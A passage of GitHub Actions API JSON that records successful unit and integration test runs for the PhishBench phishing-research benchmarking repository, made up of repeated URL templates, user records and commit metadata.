","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569150,"name":"Website TF-IDF Integration Test","node_id":"WFR_kwLOCLXpC86nC8--","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Website_Tfidf_Integration_Test.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":99,"event":"push","status":"completed","conclusion":"success","workflow_id":12794729,"check_suite_id":7680534926,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycupjg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569150","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:34:40Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534926","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794729","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569149,"name":"Unit Test","node_id":"WFR_kwLOCLXpC86nC8-9","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Unit_Test.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":240,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":7680534930,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycupkg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569149","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:20:42Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534930","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569148,"name":"URL Integration Test","node_id":"WFR_kwLOCLXpC86nC8-8","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Url_Integration_Test.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":99,"event":"push","status":"completed","conclusion":"success","workflow_id":12794728,"check_suite_id":7680534927,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycupjw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569148","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:23:50Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534927","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794728","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. 